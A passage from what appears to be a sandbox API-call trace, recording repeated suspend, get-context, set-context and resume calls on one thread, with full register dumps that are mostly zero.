[64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0101.990] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0102.061] ResumeThread (hThread=0x130) returned 0x1
[0102.081] CloseHandle (hObject=0x130) returned 1
[0102.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.251] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.310] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.385] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.460] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.533] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0102.534] SuspendThread (hThread=0x130) returned 0x0
[0102.534] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147748, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1488060, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0102.668] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147740, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0102.738] ResumeThread (hThread=0x130) returned 0x1
[0102.738] CloseHandle (hObject=0x130) returned 1
[0102.738] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.773] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.807] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.886] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0102.959] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0102.959] SuspendThread (hThread=0x130) returned 0x0
[0102.959] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147808, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x14a6ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0103.028] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147800, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, 